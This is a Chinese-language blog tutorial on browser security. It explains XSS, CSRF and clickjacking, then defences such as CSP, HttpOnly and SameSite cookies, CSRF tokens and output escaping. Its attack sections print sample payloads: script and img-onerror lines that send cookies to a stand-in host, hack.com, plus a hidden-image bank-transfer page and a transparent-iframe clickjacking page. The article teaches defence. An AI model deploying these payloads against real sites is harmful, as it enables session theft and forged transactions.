黑客是怎么偷走你账号的?

你有没有想过:为什么有的网站会被"盗号"?为什么输入个用户名密码,钱就没了?为什么黑客能在你的页面上执行他的代码?

今天,用黑客与门卫的故事,来讲讲浏览器安全。


原文地址

墨渊书肆/黑客是怎么偷走你账号的?


浏览器安全是什么?

为什么浏览器这么危险?

浏览器是最复杂的软件之一。它要:

  • 解析执行任意来源的代码
  • 处理用户输入
  • 访问敏感数据(Cookie、LocalStorage)
  • 与服务器通信

这种"大门敞开"的特性,让浏览器成为黑客攻击的首选目标。

主要威胁有哪些?

威胁 全称 危险程度
XSS 跨站脚本攻击 ⭐⭐⭐⭐⭐
CSRF 跨站请求伪造 ⭐⭐⭐⭐
点击劫持 iframe 嵌套钓鱼 ⭐⭐⭐

XSS --- 在你的页面上执行他的代码

什么是 XSS?

XSS(Cross-Site Scripting)= 跨站脚本攻击。

黑客在你的网站注入他自己的脚本代码,然后在用户的浏览器上执行。

就像坏人溜进了你家厨房,往菜里下了毒。

javascript 复制代码
// 黑客注入的恶意代码
<script>
  // 偷走用户的 Cookie
  document.location = 'https://hack.com/steal?cookie=' + document.cookie;
</script>

XSS 的三种类型

1. 存储型 XSS --- 永久留在数据库

最危险的类型。恶意代码永久存储在服务器上。

就像坏人把毒药放进了餐厅的仓库,所有来吃饭的客人都中招。

yaml 复制代码
攻击流程:
1. 黑客在评论区提交恶意脚本
   ↓
2. 服务器保存到数据库
   ↓
3. 其他用户访问页面
   ↓
4. 服务器从数据库读取并返回恶意脚本
   ↓
5. 用户浏览器执行脚本,Cookie 被盗

实际例子:

html 复制代码
<!-- 黑客在论坛评论框输入:-->
<script>
  fetch('https://hack.com/steal?cookie=' + document.cookie);
</script>

<!-- 或者更隐蔽的方式:-->
<img src="x" onerror="fetch('https://hack.com/steal?cookie=' + document.cookie)">

<!-- 服务器把这条评论存进数据库,所有访问该页面的用户都会执行这段代码 -->

2. 反射型 XSS --- url 参数反射

恶意代码藏在 URL 参数里,服务器把参数"反射"回页面执行。

就像服务员喊"X先生,您的菜好了",结果 X 先生是黑客伪装的。

yaml 复制代码
攻击流程:
1. 黑客构造恶意 URL
   ↓
2. 诱导用户点击(钓鱼链接)
   ↓
3. 服务器把参数反射回页面
   ↓
4. 浏览器执行恶意脚本

实际例子:

javascript 复制代码
// 服务器端代码(Node.js)
app.get('/search', (req, res) => {
  // 直接把查询参数返回给页面
  const query = req.query.q;
  res.send(`<h1>搜索结果:${query}</h1>`);
});

// 恶意 URL:
// https://search.com/search?q=<script>alert('hacked')</script>

// 服务器返回:
// <h1>搜索结果:<script>alert('hacked')</script></h1>

// 浏览器执行了脚本!

3. DOM 型 XSS --- 纯前端表演

完全在浏览器端完成,服务器根本不知道。

就像坏人趁你不注意,在你家的厨房监控摄像头上动了手脚。

yaml 复制代码
攻击流程:
1. 网站的 JS 从 URL 读取参数
   ↓
2. 用 innerHTML 或类似方法直接插入到页面
   ↓
3. 恶意参数随 URL 一起发送
   ↓
4. 浏览器执行插入的恶意代码

实际例子:

javascript 复制代码
// 网站的搜索框 JS 代码
const params = new URLSearchParams(window.location.search);
const search = params.get('q');
document.getElementById('result').innerHTML = '搜索结果: ' + search;

// 恶意 URL:
// https://site.com?q=<img src=x onerror="fetch('https://hack.com/steal?cookie='+document.cookie)">

// 执行流程:
// 1. 浏览器访问这个 URL
// 2. JS 读取 q 参数 = <img src=x onerror="...">
// 3. innerHTML 把这段 HTML 插入到页面
// 4. <img> 加载失败,触发 onerror,执行恶意代码

XSS 能做什么?

恶意行为 说明
偷 Cookie 获取 Session ID
键盘记录 监听用户输入的密码
钓鱼弹窗 伪造登录框获取密码
页面劫持 修改页面内容或跳转

CSRF --- 偷偷替你发送请求

什么是 CSRF?

CSRF(Cross-Site Request Forgery)= 跨站请求伪造。

黑客利用用户的登录状态,偷偷发送请求。

就像坏人拿着你的银行卡,冒充你去银行转账。

攻击流程

yaml 复制代码
攻击流程:
1. 用户登录银行网站,服务器返回 Session Cookie
   ↓
2. 用户访问恶意网站 evil.com
   ↓
3. evil.com 的页面包含:<img src="bank.com/transfer?to=hacker&money=10000">
   ↓
4. 浏览器请求这张图片,自动带上 bank.com 的 Cookie
   ↓
5. 银行服务器收到请求,以为是用户操作的,执行转账

常见攻击场景

为什么能成功?

javascript 复制代码
// 恶意网站偷偷发送的请求
fetch('https://bank.com/transfer', {
  method: 'POST',
  body: 'to=hacker&money=10000',
  credentials: 'include'  // 带上 Cookie
});
// 浏览器访问 evil.com 时,会自动带上 bank.com 的 Cookie
// 服务器无法区分是用户自己发的还是被诱导发的

隐藏图片方式:

html 复制代码
<!-- 恶意网站的完整代码 -->
<!DOCTYPE html>
<html>
<head><title>恭喜中奖!</title></head>
<body>
  <h1>恭喜!您中了一等奖!</h1>
  <img src="https://bank.com/transfer?to=hacker&money=10000" style="display:none">
</body>
</html>

XSS vs CSRF

对比 XSS CSRF
原理 在页面执行恶意代码 借用用户身份发送请求
目的 获取用户数据 代表用户执行操作
关键 需要 JavaScript 执行 需要用户已登录
yaml 复制代码
XSS vs CSRF:
┌─────────────────────────────────────────┐
│           XSS(跨站脚本)                │
│  黑客 → 注入脚本到你的页面 → 偷数据      │
├─────────────────────────────────────────┤
│           CSRF(跨站请求)              │
│  黑客 → 借用你的身份 → 替你操作          │
└─────────────────────────────────────────┘

点击劫持 --- 透明的陷阱

什么是点击劫持?

黑客把自己网站透明的覆盖在你的网站上,诱导用户点击。

就像坏人用一层透明的塑料薄膜盖在你的门上,用户以为在点自己的门,实际点是坏人的按钮。

攻击流程

yaml 复制代码
攻击流程:
1. 黑客制作恶意网站
   ↓
2. 在页面中用 iframe 嵌入目标网站(设为透明)
   ↓
3. 在 iframe 上覆盖一个可见的按钮("免费领奖")
   ↓
4. 用户看到按钮并点击
   ↓
5. 实际点击的是 iframe 里的目标网站按钮

实际例子

html 复制代码
<!DOCTYPE html>
<html>
<head><title>免费领礼品</title></head>
<body>
  <!-- 覆盖层:诱导用户点击 -->
  <button style="position:absolute; top:100px; left:50px; z-index:1;">
    免费领取iPhone!
  </button>

  <!-- 透明的 iframe:嵌入银行网站 -->
  <iframe src="https://bank.com/transfer"
          style="opacity:0; position:absolute; top:95px; left:45px; z-index:0;">
  </iframe>
</body>
</html>

用户看到"免费领iPhone"按钮,点击时实际触发的是银行转账按钮。


CSP --- 浏览器的安全门卫

什么是 CSP?

CSP(Content Security Policy)= 内容安全策略。

一种 HTTP 响应头,告诉浏览器哪些来源可以执行

就像餐厅门口贴告示:"本店只接受来自厨房的菜,其他来源的一律不收"。

http 复制代码
Content-Security-Policy: default-src 'self'; script-src 'self' js.example.com; style-src 'self' css.example.com

CSP 能防止什么?

CSP 指令 作用
script-src 控制 JavaScript 来源
style-src 控制 CSS 来源
img-src 控制图片来源
connect-src 控制 fetch/ajax 来源
frame-src 控制 iframe 来源

CSP 防止 XSS

http 复制代码
# 不允许内联脚本
Content-Security-Policy: script-src 'self'

# ❌ XSS 注入的脚本会被阻止
<script>alert('xss')</script>

# ✅ 有效 - 浏览器拒绝执行

CSP 防止 CSRF

http 复制代码
# 限制 AJAX 和 fetch 的目标
Content-Security-Policy: connect-src 'self' https://api.example.com

# ❌ 恶意请求被阻止
fetch('https://bank.com/transfer?to=hacker')

# ✅ 有效 - 只能请求指定域名
fetch('https://api.example.com/data')

HttpOnly --- 禁止 JavaScript 访问

就像给你的会员卡加个锁,只有服务员能刷,你自己也看不见。

http 复制代码
Set-Cookie: sessionId=abc123; HttpOnly
yaml 复制代码
HttpOnly 保护原理:
┌─────────────────────────────────────┐
│  Cookie: sessionId=abc123; HttpOnly │
├─────────────────────────────────────┤
│  JavaScript 访问 document.cookie    │ → ❌ 被禁止
│  浏览器发请求自动携带                │ → ✅ 正常
└─────────────────────────────────────┘
说明 防护效果
Strict 仅同站请求携带 🛡️ 最安全
Lax GET/导航携带,POST/fetch 不带 🛡️ 较好
None 任何请求都携带 ❌ 无保护
http 复制代码
# 推荐:Lax 模式
Set-Cookie: sessionId=abc123; SameSite=Lax

Samesite 防止 CSRF

就像银行的VIP室:只有你亲自到场(GET导航)才能进,自动取款机(POST表单)不认你的卡。

yaml 复制代码
Samesite=Lax 防护效果:
┌────────────────────────────────────────────┐
│ <a href="bank.com转账">点我</a> GET 导航   │ → ✅ 带 Cookie
│ <form action="bank.com转账" method="POST">  │ → ❌ 不带 Cookie
│ fetch('bank.com/api')                      │ → ❌ 不带 Cookie
└────────────────────────────────────────────┘

CSRF Token --- 双重保护

什么是 CSRF Token?

服务器生成的随机令牌,必须携带才有效。

就像网银的动态口令:每次转账都要输入不同的验证码。

yaml 复制代码
CSRF Token 工作流程:
┌─────────────────────────────────────────────────┐
│ 1. 用户访问表单页面                             │
│    服务器生成随机 Token,存入 Session             │
│    表单中隐藏: <input name="csrf" value="Token"> │
├─────────────────────────────────────────────────┤
│ 2. 用户提交表单                                 │
│    发送: POST /transfer + csrf=Token            │
├─────────────────────────────────────────────────┤
│ 3. 服务器验证 Token                             │
│    ✅ 匹配 → 执行操作                           │
│    ❌ 不匹配 → 拒绝请求                         │
└─────────────────────────────────────────────────┘

代码实现

html 复制代码
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="abc123xyz">
  目标账户: <input type="text" name="to">
  金额: <input type="number" name="money">
  <button type="submit">转账</button>
</form>
javascript 复制代码
// 服务器端验证(Node.js 为例)
app.post('/transfer', (req, res) => {
  const sessionToken = req.session.csrfToken;
  const submittedToken = req.body.csrf_token;

  if (sessionToken !== submittedToken) {
    return res.status(403).json({ error: 'CSRF 验证失败' });
  }

  doTransfer(req.body.to, req.body.money);
});

安全 Headers

常用安全响应头

Header 作用
CSP 内容安全策略
X-Frame-Options 防止 iframe 嵌套
X-Content-Type-Options 禁止 MIME 嗅探
Strict-Transport-Security 强制 HTTPS
Referrer-Policy 控制 Referer 头

X-Frame-Options --- 防点击劫持

http 复制代码
X-Frame-Options: DENY  # 完全禁止嵌套
X-Frame-Options: SAMEORIGIN  # 仅允许同域名嵌套

X-Content-Type-Options --- 防 MIME 嗅探

http 复制代码
X-Content-Type-Options: nosniff

编写安全代码

XSS 防护

javascript 复制代码
// ❌ 危险 - innerHTML 直接拼接
element.innerHTML = userInput;

// ✅ 安全 - 使用 textContent
element.textContent = userInput;

// ✅ 安全 - 使用框架
// React、Vue 默认自动转义
javascript 复制代码
// 手动转义函数
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

element.innerHTML = escapeHtml(userInput);

CSRF 防护

javascript 复制代码
// ✅ 同时使用多种防护
// 1. CSRF Token
// 2. Samesite Cookie
// 3. 敏感操作验证码

输入验证

javascript 复制代码
// ✅ 永远不要相信用户输入

// 白名单验证
function isValidUsername(username) {
  return /^[a-zA-Z0-9_]{3,20}$/.test(username);
}

// 类型转换 + 范围检查
const age = parseInt(req.body.age, 10);
if (isNaN(age) || age < 0 || age > 150) {
  return res.status(400).json({ error: '年龄无效' });
}

// 长度限制
if (req.body.content.length > 1000) {
  return res.status(400).json({ error: '内容过长' });
}

总结

攻击与防御对照

攻击 防御手段
存储型 XSS CSP + 输入转义 + HttpOnly
反射型 XSS CSP + URL 转义
DOM 型 XSS 避免 innerHTML + 安全 API
CSRF CSRF Token + Samesite Cookie
点击劫持 X-Frame-Options

安全 checklist

yaml 复制代码
✅ 输入验证:所有用户输入都验证
✅ 输出转义:插入到 HTML 前转义
✅ HttpOnly Cookie:敏感 Cookie 加 HttpOnly
✅ CSRF Token:表单和 AJAX 请求加 Token
✅ Samesite Cookie:敏感操作用 Lax/Strict
✅ CSP 策略:配置严格的内容安全策略
✅ 安全 Headers:X-Frame-Options 等
✅ 框架使用:避免手动拼接 HTML

写在最后

现在你知道了:

  • XSS 是黑客在你页面注入代码,偷数据
  • CSRF 是黑客借用你的身份发请求
  • 点击劫持 是用透明 iframe 诱导你点击
  • CSP 是浏览器的内容安全策略
  • HttpOnly/Samesite 保护 Cookie 不被偷
  • CSRF Token 确保请求真的是你发的
  • 永远不要相信用户输入,转义是基本素养

下次遇到安全漏洞,你应该能一眼识破了吧?

相关推荐
陈虚渊8 小时前
浏览器自动化框架完全问答:从原理到自研实践
chrome·自动化·浏览器·webdriver bidi
七夜zippoe10 小时前
OpenClaw 浏览器自动化实战
运维·chrome·自动化·浏览器·playwright·openclaw
2603_953527993 天前
WordPress Finale Lite 插件高危漏洞检测与利用工具 (CVE-2024-30485)
前端·python·安全·web3·xss
Wect3 天前
深度解析浏览器本地存储:原理、方案与实战指南
前端·面试·浏览器
oi..4 天前
从 0 到 1:文件上传漏洞的校验、绕过与真实场景利用
网络·笔记·计算机网络·安全·web安全·网络安全·xss
csdn_aspnet5 天前
如何保护您的 .NET Web API 免受常见安全威胁
安全·xss·csrf·.net core·cors
其实防守也摸鱼6 天前
XSS漏洞全景解析:从原理、实战利用到纵深防御
前端·网络·安全·xss·xss漏洞
REDcker6 天前
iOS 与 Android:浏览器引擎、WebView 与生态差异概览
android·ios·内核·浏览器·webview
网络安全许木7 天前
XSS渗透与防御
网络安全·渗透测试·xss